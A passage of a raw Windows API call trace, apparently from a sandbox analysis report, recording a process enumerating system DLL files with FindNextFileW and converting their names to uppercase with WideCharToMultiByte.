returned 11 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.761] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.761] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x90c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0041.761] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x90c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0041.761] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0041.761] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.761] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.761] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.762] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.762] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.762] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.762] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x90c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0041.762] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.762] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x90c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0041.762] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0041.762] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.763] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.763] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.763] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.763] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x90c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0041.763] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.763] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.763] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.763] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, 